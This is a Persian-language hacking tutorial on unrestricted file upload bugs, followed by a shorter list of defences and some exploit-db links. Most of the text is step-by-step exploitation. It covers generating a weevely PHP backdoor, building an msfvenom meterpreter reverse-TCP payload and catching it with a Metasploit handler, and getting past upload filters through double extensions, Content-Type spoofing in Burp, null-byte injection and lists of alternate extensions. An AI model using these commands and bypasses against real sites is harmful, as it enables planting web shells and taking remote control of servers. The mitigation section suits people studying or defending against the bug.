Remote File Upload

باگ RFU یا همان Remote File Upload که با نام Unrestricted File Upload نیز شناخته میشود ، امکان آپلود فایل های اجرایی مانند php , asp , exe و ... را میدهد . این باگ زمانی رخ میدهد که فایل آپلودی درست اعتبار سنجی نشود و امکان آپلود فایل های اجرایی به هکر را بدهد.----------------------------------------------------------------------راه های بهره برداری از باگ RFU 1 - آپلود فایل با اسکریپت weevelyبرای ساخت شل ، باید با استفاده از ابزار weevely یک بکدور مخصوص وب اپلیکیشن ها ایجاد کنیم . Weevely یک وب شل مخفی PHP هست که از اتصالی شبیه Telnet استفاده می کنه . این یک ابزار اساسی برای کاربردهای وب بعد از بهره برداریه و می تونه به عنوان یک بکدور مخفی یا به عنوان یک وب شل استفاده بشه :) برای ساخت بکدور ، دستور زیر رو توی ترمینال تایپ کنید : root@kali:~# weevely [ Password ] [ Shell Name ] Example => weevely pass123 shell.php این دستور یک بکدور با اسم shell.php درست میکنه (;خب بعد از اینکه شلمون رو آپلود کردیم ، مسیری که شل رو سایت آپلود شده رو کپی میکنیم و دستور زیر رو میزنیم تا به شلمون وصل بشیم : weevely [ Shell Directory ] [ Password ]مثال :weevely http://site.com/upload/shell.php pass123این ابزار قابلیتای زیادی داره ، برای دیدن دستورات شل این ابزار کافیه کامند help رو تایپ کنین (:2 - آپلود فایل با msfvenomتو این روش با استفاده از ابزار msfvenom یک پیلود meterpreter میسازیم و بعد با استفاده از اکسپلویت multi/handler متاسپلویت ، به پیلودمون متصل میشیم .خب ابتدا دستور زیر رو توی ترمینالتون بزنین :msfvenom -p php/meterpreter/reverse_tcp LHOST=[Your Sys IP] LPORT=4444 -f rawجلوی LHOST آیپی پابلیک سیستم خودتون رو قرار بدید .خب بعد از اینکه این دستور رو بزنین ، یکسری کد به زبان php توی ترمینالتون چاپ میشه که باید اونو کپی کنین بعد از کپی کردن این کد ها اون رو داخل یک فایل با فرمت php. ذخیره کنین ( اسم فایل دلخواهه ) .خب بعد محیط متاسپلویت رو اجرا کنین با دستور msfconsole :root@kali:~# msfconsole خب بعد از این که این دستور رو میزنین وارد شل متاسپلویت میشین و بعدش باید دستورات زیر رو تایپ کنین :msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set LHOST [ IP ]msf5 exploit(multi/handler) > set lport 4444msf5 exploit(multi/handler) > exploitخب الان پورت 4444 سیستم ما روی حالت لیسن هست .الان باید پیلود php که با msfvenom ساختیم رو آپلود کنیم و بعد از آپلود ، مسیری که شل آپلود شده رو کپی و در قسمت url پیست کنیم و اینتر کنیم ( اینطوری پیلود ما اجرا میشه )بعد از انجام فرایند بالا ، با صحنه‌ی زیر تو ترمینال رو به رو میشیم (:3 - آپلود فایل با استفاده از دو پسوند ( Extension ) توی این بایپس ، برنامه نویس پسوند فایل های شل رو محدود کرده و قابل آپلود نیستن و فقط فایل های jpeg و png قابل آپلود هستن .در این مرحله ما همون پیلودی که توی مرحله 2 استفاده کردیم رو برمیداریم و اسمش رو میزاریم image_file.php.jpeg .این فایل رو آپلود میکنیم و با موفقیت آپلود میشه ؛ از قبل برنامه BurpSuite رو گذاشتیم روی حالت اینترسپت و بعد از اینکه ریکوئست HTTP رو اسنیف کردیم ، هدر Content-Disposition رو پیدا میکنیم و اسم فایلمون رو ویرایش میکنیم و jpeg. رو حذف میکنیم و روی گزینه forward کلیک میکنیم و توی عکس زیر میبینین که فایلمون با پسوند php. با موفقیت آپلود شده (:بعد از اینجاش دیگه راحته و باید مثل روش دو با استفاده از اکسپلویت multi/handler پورت 4444 سیستممون رو بزاریم روی حالت لیسن و بقیه کارایی که توی روش دو گفتم ...4 - عوض کردن مقدار هدر content-type در این مرحله ، ابتدا برپ سویت رو میزاریم روی حالت intercept on ، بعد از اون فایل php مون رو آپلود میکنیم .خب حالا میریم توی برپ سویت هدر content-type رو پیدا میکنیم ؛ میبینیم که مقدارش application/x-php هست ، عوضش میکنیم و به image/jpeg تغییر میدیم و روی گزینه forward کلیک میکنیم .خب فایلمون با موفقیت آپلود میشه و دوباره وارد متاسپلویت میشیم و پورت 4444 رو روی حالت لیسن میزاریم و بقیه کارهایی که توی روش های دو و سه گفتم (:5 - آپلود فایل با تزریق null hexیکی از روش های جالب آپلود فایل استفاده از null byte در url-encoding هست .خب یه تغییر کوچیک تو اسم فایلمون میدیم و از image_file.php.jpeg بهimage_file.phpA.jpegتغییر میدیم .معادل اسکی حرف A که من نوشتم 41 هست .خب فایلمون رو آپلود میکنیم ( از قبل برپو گذاشتیم رو intercept on )بعد از آپلود میریم تو برپ و میریم توی تب hex .مثل عکس مقدار اَسکی A که همون 41 هست رو پیدا میکنیم و به 00 تغییر میدیم و فایل php مون با موفقیت آپلود میشه (:6 - انواع بایپس های black listPHP => .phtm.phtm1 .phps.pht .php2 .php3 .php4 .php5 .shtml .phar .pgif .incASP =>.aspx.cer.asaJSP =>.jspx.jsw.jsv.jspfColdfusion =>.cfm.cfml.cfc.dbmUse Random Capitalization => .PhP .pHp .PHp .pHP7 - بایپس های white list :file.php.jpgfile.php.blah123jpgfile.php%00.jpgfile.php%00file.php%20file.php%0d%0a.jpgfile.php.....file.php/file.php.\8 - تبدیل RFU به دیگر باگ ها توی این عکس های زیر نحوه تبدیل باگ RFU به بقیه باگ ها رو هم گفتم (:----------------------------------------------------------------------راه های مقابله با Remote File Upload1- اعتبار سنجی فرمت ها: (ٍExtension Validation)اعتبار سنجی پس از اطمینان حاصل کردن از نام فایلپسوند های دوگانه:فایل هایی دارای پسوند دوگانه هستند می توانند فیلتر ها را دور بزنند مثالFile.php.png پسوند های پوچ: به عنوان مثال فایلی مثل file.php%00.jpg این کار باعث میشود که فرمت jpg خوانده نشود . 2-ساخت لیست قابل اطمینان (White list Extension)در این روش ما یک لیستی از پسوند های قابل اطمینان درست میکنیم فایل ها اپلودی را با این لیست مقایسه می کنیم3-ساخت یک لیست سیاه (Black list Extension)این در روش مثل روش قبل عمل میکنیم4- اعتبار سنجی نوع محتوا : (Content-type Validation)از انجایی نوع محتوای فایل را کاربر میتواند تغییر دهد باید در کنار فرمت نوع MIME ان ها هم باید اعتبار سنجی شود محتوای فایل می تواند حاوی داده های مخرب باشدبرای مقابله با این کار باید فایل های تصویری را باز نویسی کرد . برای فایل های اسناد مایکروسافت می توان از Apache POI استفاده کرد همچنین می توان از سرویس های مانند virus total برای اسکن پرونده ها استفاده کرد5-اعتبار سنجی امضای فایل (File Signature Validation)در کنار اعتبار سنجی نوع محتوا این روش را هم می توان استفاده کرد ولی اگر از این روش به تنهایی استفاده شود به راحتی قابل دور زدن است6-پاکسازی نام فایل(filename sanitization)می توان پس از اپلود فایل نام فایل را به یک رشته تصادفی تغییر داد ساخت UUID/GUID برای نام فایل6-محل ذخیره سازی فایل ها (File Storage Location)می توان فایل های اپلودی را در یک میزبان دیگر ذخیره کرد و همچنین تنظیم کنترل های مناسب مانند IP داخلی و کاربر های مجاز و غیر مجاز7- دسترسی کاربر (user permissions)در این روش کاربر باید دسترسی های مناسب برای دسترسی یا اصلاح پرونده داشته باشد8-اسکن بد افزار (malware scan) برای به حداقل رساندن خطر همه پرونده ها را باید از نظر بد افزار اسکن شوند.9- احراز هویت کاربران(Authenticate Users)برای افزایش امنیت قبل از اپلود فایل از کاربران بخواهید احراز هویت کنند10- حداکثر کردن طول نام و حداکثر اندازهبرای جلوگیری از اشکال یا قطع سرویس اطمینان حاصل کنید از حداکثر طول نام و اندازه فایل11- استفاده از پیام خطای ساده هنگام اپلود فایل مسیر های دایرکتوری تنظیمات پیکربندی سرور یا سایر اطاعاتی را مهاجمان می توانند برای ورود به سیستم استفاده کنند قرار ندهید----------------------------------------------------------------------چند اکسپلویت https://www.exploit-db.com/exploits/49223https://www.exploit-db.com/exploits/2348https://www.exploit-db.com/exploits/48062https://www.exploit-db.com/exploits/48238https://www.exploit-db.com/exploits/49389https://www.exploit-db.com/exploits/10732